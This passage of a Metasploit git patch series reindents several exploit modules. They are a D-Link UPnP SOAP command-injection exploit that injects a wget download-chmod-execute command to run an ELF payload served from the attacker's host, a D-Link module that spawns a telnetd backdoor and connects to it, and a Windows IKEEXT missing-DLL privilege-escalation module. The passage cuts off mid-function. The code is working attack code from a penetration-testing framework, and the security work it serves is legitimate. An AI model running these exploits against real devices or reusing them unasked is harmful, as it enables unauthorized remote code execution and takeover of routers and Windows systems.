random)' ]), - OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), - ], self.class) - end + register_options( + [ + Opt::RPORT(49152), #port of UPnP SOAP webinterface + OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), + OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), + OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), + ], self.class) + end - def exploit - @new_portmapping_descr = rand_text_alpha(8) - @new_external_port = rand(65535) - @new_internal_port = rand(65535) + def exploit + @new_portmapping_descr = rand_text_alpha(8) + @new_external_port = rand(65535) + @new_internal_port = rand(65535) - if target.name =~ /CMD/ - exploit_cmd - else - exploit_mips - end - end + if target.name =~ /CMD/ + exploit_cmd + else + exploit_mips + end + end - def exploit_cmd - if not (datastore['CMD']) - fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") - end - cmd = payload.encoded - type = "add" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") - type = "delete" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - return - end + def exploit_cmd + if not (datastore['CMD']) + fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") + end + cmd = payload.encoded + type = "add" + res = request(cmd, type) + if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") + type = "delete" + res = request(cmd, type) + if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + return + end - def exploit_mips + def exploit_mips - downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) + downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) - #thx to Juan for his awesome work on the mipsel elf support - @pl = generate_payload_exe - @elf_sent = false + #thx to Juan for his awesome work on the mipsel elf support + @pl = generate_payload_exe + @elf_sent = false - # - # start our server - # - resource_uri = '/' + downfile + # + # start our server + # + resource_uri = '/' + downfile - if (datastore['DOWNHOST']) - service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri - else - #do not use SSL - if datastore['SSL'] - ssl_restore = true - datastore['SSL'] = false - end + if (datastore['DOWNHOST']) + service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri + else + #do not use SSL + if datastore['SSL'] + ssl_restore = true + datastore['SSL'] = false + end - #we use SRVHOST as download IP for the coming wget command. - #SRVHOST needs a real IP address of our download host - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") - srv_host = Rex::Socket.source_address(rhost) - else - srv_host = datastore['SRVHOST'] - end + #we use SRVHOST as download IP for the coming wget command. + #SRVHOST needs a real IP address of our download host + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end - service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri - print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") - start_service({'Uri' => { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req) - }, - 'Path' => resource_uri - }}) + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") + start_service({'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri + }}) - datastore['SSL'] = true if ssl_restore - end + datastore['SSL'] = true if ssl_restore + end - # - # download payload - # - print_status("#{rhost}:#{rport} - Asking the D-Link device to take and execute #{service_url}") - #this filename is used to store the payload on the device - filename = rand_text_alpha_lower(8) + # + # download payload + # + print_status("#{rhost}:#{rport} - Asking the D-Link device to take and execute #{service_url}") + #this filename is used to store the payload on the device + filename = rand_text_alpha_lower(8) - cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}" - type = "add" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") - end + cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}" + type = "add" + res = request(cmd, type) + if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + end - # wait for payload download - if (datastore['DOWNHOST']) - print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload") - select(nil, nil, nil, datastore['HTTP_DELAY']) - else - wait_linux_payload - end + # wait for payload download + if (datastore['DOWNHOST']) + print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload") + select(nil, nil, nil, datastore['HTTP_DELAY']) + else + wait_linux_payload + end - register_file_for_cleanup("/tmp/#{filename}") + register_file_for_cleanup("/tmp/#{filename}") - type = "delete" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - end + type = "delete" + res = request(cmd, type) + if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + end - def request(cmd, type) + def request(cmd, type) - uri = '/soap.cgi' + uri = '/soap.cgi' - data_cmd = "" - data_cmd << "" - data_cmd << "" + data_cmd = "" + data_cmd << "" + data_cmd << "" - if type == "add" - vprint_status("#{rhost}:#{rport} - adding portmapping") + if type == "add" + vprint_status("#{rhost}:#{rport} - adding portmapping") - soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" - data_cmd << "" - data_cmd << "#{@new_portmapping_descr}" - data_cmd << "" - data_cmd << "`#{cmd}`" - data_cmd << "1" - data_cmd << "#{@new_external_port}" - data_cmd << "" - data_cmd << "TCP" - data_cmd << "#{@new_internal_port}" - data_cmd << "" - else - #we should clean it up ... otherwise we are not able to exploit it multiple times - vprint_status("#{rhost}:#{rport} - deleting portmapping") - soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" + data_cmd << "" + data_cmd << "#{@new_portmapping_descr}" + data_cmd << "" + data_cmd << "`#{cmd}`" + data_cmd << "1" + data_cmd << "#{@new_external_port}" + data_cmd << "" + data_cmd << "TCP" + data_cmd << "#{@new_internal_port}" + data_cmd << "" + else + #we should clean it up ... otherwise we are not able to exploit it multiple times + vprint_status("#{rhost}:#{rport} - deleting portmapping") + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" - data_cmd << "" - data_cmd << "TCP#{@new_external_port}" - data_cmd << "" - end + data_cmd << "" + data_cmd << "TCP#{@new_external_port}" + data_cmd << "" + end - data_cmd << "" - data_cmd << "" + data_cmd << "" + data_cmd << "" - begin - res = send_request_cgi({ - 'uri' => uri, - 'vars_get' => { - 'service' => 'WANIPConn1' - }, - 'ctype' => "text/xml", - 'method' => 'POST', - 'headers' => { - 'SOAPAction' => soapaction, - }, - 'data' => data_cmd - }) - return res - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return nil - end - end + begin + res = send_request_cgi({ + 'uri' => uri, + 'vars_get' => { + 'service' => 'WANIPConn1' + }, + 'ctype' => "text/xml", + 'method' => 'POST', + 'headers' => { + 'SOAPAction' => soapaction, + }, + 'data' => data_cmd + }) + return res + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return nil + end + end - # Handle incoming requests from the server - def on_request_uri(cli, request) - #print_status("on_request_uri called: #{request.inspect}") - if (not @pl) - print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") - return - end - print_status("#{rhost}:#{rport} - Sending the payload to the server...") - @elf_sent = true - send_response(cli, @pl) - end + # Handle incoming requests from the server + def on_request_uri(cli, request) + #print_status("on_request_uri called: #{request.inspect}") + if (not @pl) + print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") + return + end + print_status("#{rhost}:#{rport} - Sending the payload to the server...") + @elf_sent = true + send_response(cli, @pl) + end - # wait for the data to be sent - def wait_linux_payload - print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...") + # wait for the data to be sent + def wait_linux_payload + print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...") - waited = 0 - while (not @elf_sent) - select(nil, nil, nil, 1) - waited += 1 - if (waited > datastore['HTTP_DELAY']) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?") - end - end - end + waited = 0 + while (not @elf_sent) + select(nil, nil, nil, 1) + waited += 1 + if (waited > datastore['HTTP_DELAY']) + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?") + end + end + end end diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb index 4465ddb49e..6b4aedd232 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb @@ -8,184 +8,184 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper - def initialize(info = {}) - super(update_info(info, - 'Name' => 'D-Link Devices UPnP SOAP Telnetd Command Execution', - 'Description' => %q{ - Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP - interface. This module has been tested successfully on DIR-300, DIR-600, DIR-645, - DIR-845 and DIR-865. According to the vulnerability discoverer, more D-Link devices - may be affected. - }, - 'Author' => - [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module - 'juan vazquez' # minor help with msf module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'OSVDB', '94924' ], - [ 'BID', '61005' ], - [ 'EDB', '26664' ], - [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] - ], - 'DisclosureDate' => 'Jul 05 2013', - 'Privileged' => true, - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Payload' => - { - 'Compat' => { - 'PayloadType' => 'cmd_interact', - 'ConnectionType' => 'find', - }, - }, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, - 'Targets' => - [ - [ 'Automatic', { } ], - ], - 'DefaultTarget' => 0 - )) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link Devices UPnP SOAP Telnetd Command Execution', + 'Description' => %q{ + Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP + interface. This module has been tested successfully on DIR-300, DIR-600, DIR-645, + DIR-845 and DIR-865. According to the vulnerability discoverer, more D-Link devices + may be affected. + }, + 'Author' => + [ + 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'juan vazquez' # minor help with msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '94924' ], + [ 'BID', '61005' ], + [ 'EDB', '26664' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] + ], + 'DisclosureDate' => 'Jul 05 2013', + 'Privileged' => true, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find', + }, + }, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0 + )) - register_options( - [ - Opt::RPORT(49152) #port of UPnP SOAP webinterface - ], self.class) + register_options( + [ + Opt::RPORT(49152) #port of UPnP SOAP webinterface + ], self.class) - register_advanced_options( - [ - OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]), - OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) - ], self.class) - end + register_advanced_options( + [ + OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]), + OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) + ], self.class) + end - def tel_timeout - (datastore['TelnetTimeout'] || 10).to_i - end + def tel_timeout + (datastore['TelnetTimeout'] || 10).to_i + end - def banner_timeout - (datastore['TelnetBannerTimeout'] || 25).to_i - end + def banner_timeout + (datastore['TelnetBannerTimeout'] || 25).to_i + end - def exploit - @new_portmapping_descr = rand_text_alpha(8) - @new_external_port = rand(65535) - @new_internal_port = rand(65535) - telnetport = rand(65535) + def exploit + @new_portmapping_descr = rand_text_alpha(8) + @new_external_port = rand(65535) + @new_internal_port = rand(65535) + telnetport = rand(65535) - vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") + vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") - cmd = "telnetd -p #{telnetport}" - type = "add" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - type = "delete" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end + cmd = "telnetd -p #{telnetport}" + type = "add" + res = request(cmd, type) + if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end + type = "delete" + res = request(cmd, type) + if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + end - begin - print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) + begin + print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) - if sock.nil? - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") - end + if sock.nil? + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") + end - print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") - prompt = negotiate_telnet(sock) - if prompt.nil? - sock.close - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") - else - print_good("#{rhost}:#{rport} - Telnet session successfully established...") - end + print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") + prompt = negotiate_telnet(sock) + if prompt.nil? + sock.close + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") + else + print_good("#{rhost}:#{rport} - Telnet session successfully established...") + end - handler(sock) - rescue - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service") - end - end + handler(sock) + rescue + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service") + end + end - def request(cmd, type) + def request(cmd, type) - uri = '/soap.cgi' + uri = '/soap.cgi' - data_cmd = "" - data_cmd << "" - data_cmd << "" + data_cmd = "" + data_cmd << "" + data_cmd << "" - if type == "add" - vprint_status("#{rhost}:#{rport} - adding portmapping") + if type == "add" + vprint_status("#{rhost}:#{rport} - adding portmapping") - soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" - data_cmd << "" - data_cmd << "#{@new_portmapping_descr}" - data_cmd << "" - data_cmd << "`#{cmd}`" - data_cmd << "1" - data_cmd << "#{@new_external_port}" - data_cmd << "" - data_cmd << "TCP" - data_cmd << "#{@new_internal_port}" - data_cmd << "" - else - #we should clean it up ... otherwise we are not able to exploit it multiple times - vprint_status("#{rhost}:#{rport} - deleting portmapping") - soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" + data_cmd << "" + data_cmd << "#{@new_portmapping_descr}" + data_cmd << "" + data_cmd << "`#{cmd}`" + data_cmd << "1" + data_cmd << "#{@new_external_port}" + data_cmd << "" + data_cmd << "TCP" + data_cmd << "#{@new_internal_port}" + data_cmd << "" + else + #we should clean it up ... otherwise we are not able to exploit it multiple times + vprint_status("#{rhost}:#{rport} - deleting portmapping") + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" - data_cmd << "" - data_cmd << "TCP#{@new_external_port}" - data_cmd << "" - end + data_cmd << "" + data_cmd << "TCP#{@new_external_port}" + data_cmd << "" + end - data_cmd << "" - data_cmd << "" + data_cmd << "" + data_cmd << "" - begin - res = send_request_cgi({ - 'uri' => uri, - 'vars_get' => { - 'service' => 'WANIPConn1' - }, - 'ctype' => "text/xml", - 'method' => 'POST', - 'headers' => { - 'SOAPAction' => soapaction, - }, - 'data' => data_cmd - }) - return res - rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") - end - end + begin + res = send_request_cgi({ + 'uri' => uri, + 'vars_get' => { + 'service' => 'WANIPConn1' + }, + 'ctype' => "text/xml", + 'method' => 'POST', + 'headers' => { + 'SOAPAction' => soapaction, + }, + 'data' => data_cmd + }) + return res + rescue ::Rex::ConnectionError + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") + end + end - def negotiate_telnet(sock) - begin - Timeout.timeout(banner_timeout) do - while(true) - data = sock.get_once(-1, tel_timeout) - return nil if not data or data.length == 0 - if data =~ /\x23\x20$/ - return true - end - end - end - rescue ::Timeout::Error - return nil - end - end + def negotiate_telnet(sock) + begin + Timeout.timeout(banner_timeout) do + while(true) + data = sock.get_once(-1, tel_timeout) + return nil if not data or data.length == 0 + if data =~ /\x23\x20$/ + return true + end + end + end + rescue ::Timeout::Error + return nil + end + end end From d4043a664689f987aa6a26c8e8c4e086db56ff85 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 5 Sep 2013 20:41:37 +0100 Subject: [PATCH 086/160] Spaces and change to filedropper --- lib/msf/core/exploit/file_dropper.rb | 62 +-- .../exploits/windows/local/ikeext_service.rb | 510 +++++++++--------- 2 files changed, 287 insertions(+), 285 deletions(-) diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 17f7d90357..008f5ded8f 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -26,40 +26,42 @@ module Exploit::FileDropper session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") end - if @dropped_files - @dropped_files.delete_if do |file| - win_file = file.gsub("/", "\\\\") - if session.type == "meterpreter" - begin - # Meterpreter should do this automatically as part of - # fs.file.rm(). Until that has been implemented, remove the - # read-only flag with a command. - if session.platform =~ /win/ - session.shell_command_token(%Q|attrib.exe -r #{win_file}|) - end - session.fs.file.rm(file) - print_good("Deleted #{file}") - true - rescue ::Rex::Post::Meterpreter::RequestError - false - end - else - cmds = [ - %Q|attrib.exe -r "#{win_file}"|, - %Q|del.exe /f /q "#{win_file}"|, - %Q|rm -f "#{file}" >/dev/null|, - ] + if not @dropped_files or @dropped_files.empty? + return true + end - # We need to be platform-independent here. Since we can't be - # certain that {#target} is accurate because exploits with - # automatic targets frequently change it, we just go ahead and - # run both a windows and a unixy command in the same line. One - # of them will definitely fail and the other will probably - # succeed. Doing it this way saves us an extra round-trip. - session.shell_command_token(cmds.join(" ; ")) + @dropped_files.delete_if do |file| + win_file = file.gsub("/", "\\\\") + if session.type == "meterpreter" + begin + # Meterpreter should do this automatically as part of + # fs.file.rm(). Until that has been implemented, remove the + # read-only flag with a command. + if session.platform =~ /win/ + session.shell_command_token(%Q|attrib.exe -r #{win_file}|) + end + session.fs.file.rm(file) print_good("Deleted #{file}") true + rescue ::Rex::Post::Meterpreter::RequestError + false end + else + cmds = [ + %Q|attrib.exe -r "#{win_file}"|, + %Q|del.exe /f /q "#{win_file}"|, + %Q|rm -f "#{file}" >/dev/null|, + ] + + # We need to be platform-independent here. Since we can't be + # certain that {#target} is accurate because exploits with + # automatic targets frequently change it, we just go ahead and + # run both a windows and a unixy command in the same line. One + # of them will definitely fail and the other will probably + # succeed. Doing it this way saves us an extra round-trip. + session.shell_command_token(cmds.join(" ; ")) + print_good("Deleted #{file}") + true end end end diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index 12e98d47d4..92010722d9 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -11,304 +11,304 @@ require 'msf/core/post/windows/services' require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Exploit::Local - Rank = GoodRanking + Rank = GoodRanking - include Msf::Exploit::EXE - include Msf::Exploit::FileDropper - include Msf::Post::File - include Msf::Post::Windows::Priv - include Msf::Post::Windows::Services - include Msf::Post::Windows::Accounts + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Services + include Msf::Post::Windows::Accounts - def initialize(info={}) - super( update_info( info, - 'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL', - 'Description' => %q{ - This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules' - (IKEEXT) service which runs as SYSTEM, and starts automatically in default - installations of Vista-Win8. - It requires an insecure bin path to plant the DLL payload. - }, - 'References' => - [ - ['URL', 'https://www.htbridge.com/advisory/HTB23108'], - ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html'] - ], - 'DisclosureDate' => "Oct 09 2012", - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Ben Campbell ' - ], - 'Platform' => [ 'win'], - 'Targets' => - [ - [ 'Windows x86', { 'Arch' => ARCH_X86 } ], - [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] - ], - 'SessionTypes' => [ "meterpreter" ], - 'DefaultOptions' => - { - 'EXITFUNC' => 'thread', - 'WfsDelay' => 5, - 'ReverseConnectRetries' => 255 - }, - 'DefaultTarget' => 0 - )) + def initialize(info={}) + super( update_info( info, + 'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL', + 'Description' => %q{ + This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules' + (IKEEXT) service which runs as SYSTEM, and starts automatically in default + installations of Vista-Win8. + It requires an insecure bin path to plant the DLL payload. + }, + 'References' => + [ + ['URL', 'https://www.htbridge.com/advisory/HTB23108'], + ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html'] + ], + 'DisclosureDate' => "Oct 09 2012", + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ben Campbell ' + ], + 'Platform' => [ 'win'], + 'Targets' => + [ + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] + ], + 'SessionTypes' => [ "meterpreter" ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'WfsDelay' => 5, + 'ReverseConnectRetries' => 255 + }, + 'DefaultTarget' => 0 + )) - register_options([ - OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""]) - ]) - @service_name = 'IKEEXT' - @load_lib_search_path = [ '%SystemRoot%\\System32', - '%SystemRoot%\\System', - '%SystemRoot%' - ] - @non_existant_dirs = [] - end + register_options([ + OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""]) + ]) + @service_name = 'IKEEXT' + @load_lib_search_path = [ '%SystemRoot%\\System32', + '%SystemRoot%\\System', + '%SystemRoot%' + ] + @non_existant_dirs = [] + end - def check_service_exists?(service) - srv_info = service_info(service) + def check_service_exists?(service) + srv_info = service_info(service) - if srv_info.nil? - print_warning("Unable to enumerate services.") - return false - end + if srv_info.nil? + print_warning("Unable to enumerate services.") + return false + end - if srv_info && srv_info['Name'].empty? - print_warning("Service #{service} does not exist.") - return false - else - return true - end - end + if srv_info && srv_info['Name'].empty? + print_warning("Service #{service} does not exist.") + return false + else + return true + end + end - def check - srv_info = service_info('IKEEXT') + def check + srv_info = service_info('IKEEXT') - if !check_service_exists?(@service_name) - return Exploit::CheckCode::Safe - end + if !check_service_exists?(@service_name) + return Exploit::CheckCode::Safe + end - vprint_status(srv_info.to_s) + vprint_status(srv_info.to_s) - case srv_info['Startup'] - when 'Disabled' - print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") - return Exploit::CheckCode::Safe - when 'Manual' - print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") - return Exploit::CheckCode::Safe - when 'Auto' - print_good("Service is set to Automatically start...") - end + case srv_info['Startup'] + when 'Disabled' + print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + when 'Manual' + print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + when 'Auto' + print_good("Service is set to Automatically start...") + end - if check_search_path - return Exploit::CheckCode::Safe - end + if check_search_path + return Exploit::CheckCode::Safe + end - return Exploit::CheckCode::Vulnerable - end + return Exploit::CheckCode::Vulnerable + end - def check_search_path - dll = 'wlbsctrl.dll' + def check_search_path + dll = 'wlbsctrl.dll' - @load_lib_search_path.each do |path| - dll_path = "#{expand_path(path)}\\#{dll}" + @load_lib_search_path.each do |path| + dll_path = "#{expand_path(path)}\\#{dll}" - if file_exist?(dll_path) - print_warning("DLL already exists at #{dll_path}...") - return true - end - end + if file_exist?(dll_path) + print_warning("DLL already exists at #{dll_path}...") + return true + end + end - return false - end + return false + end - def check_system_path - print_status("Checking %PATH% folders for write access...") - result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') + def check_system_path + print_status("Checking %PATH% folders for write access...") + result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') - if result.nil? - print_error("Unable to retrieve %PATH% from registry.") - return - end + if result.nil? + print_error("Unable to retrieve %PATH% from registry.") + return + end - paths = result.split(';') - paths.append(@load_lib_search_path).flatten!.uniq! + paths = result.split(';') + paths.append(@load_lib_search_path).flatten!.uniq! - paths.each do |p| - path = expand_path(p) - if exist?(path) - if check_write_access(path) - return path - end - else - # User may be able to create the path... - print_status("Path #{path} does not exist...") - @non_existant_dirs << path - end - end + paths.each do |p| + path = expand_path(p) + if exist?(path) + if check_write_access(path) + return path + end + else + # User may be able to create the path... + print_status("Path #{path} does not exist...") + @non_existant_dirs << path + end + end - return nil - end + return nil + end - def check_write_access(path) - perm = check_dir_perms(path, @token) - if perm and perm.include?('W') - print_good ("Write permissions in #{path} - #{perm}") - return true - elsif perm - vprint_status ("Permissions for #{path} - #{perm}") - else - vprint_status ("No permissions for #{path}") - end + def check_write_access(path) + perm = check_dir_perms(path, @token) + if perm and perm.include?('W') + print_good ("Write permissions in #{path} - #{perm}") + return true + elsif perm + vprint_status ("Permissions for #{path} - #{perm}") + else + vprint_status ("No permissions for #{path}") + end - return false - end + return false + end - def check_dirs - print_status("Attempting to create a non-existant PATH dir to use.") - @non_existant_dirs.each do |dir| - begin - client.fs.dir.mkdir(dir) - if exist?(dir) - register_file_for_cleanup(dir) - return dir - end - rescue Rex::Post::Meterpreter::RequestError => e - vprint_status("Unable to create dir: #{dir} - #{e}") - end - end + def check_dirs + print_status("Attempting to create a non-existant PATH dir to use.") + @non_existant_dirs.each do |dir| + begin + client.fs.dir.mkdir(dir) + if exist?(dir) + register_file_for_cleanup(dir) + return dir + end + rescue Rex::Post::Meterpreter::RequestError => e + vprint_status("Unable to create dir: #{dir} - #{e}") + end + end - return nil - end + return nil + end - def check_session_arch - if sysinfo['Architecture'] =~ /x64/i - if payload_instance.arch.first == 'x86' - fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") - end - else - if payload_instance.arch.first =~ /64/i - fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") - end - end - end + def check_session_arch + if 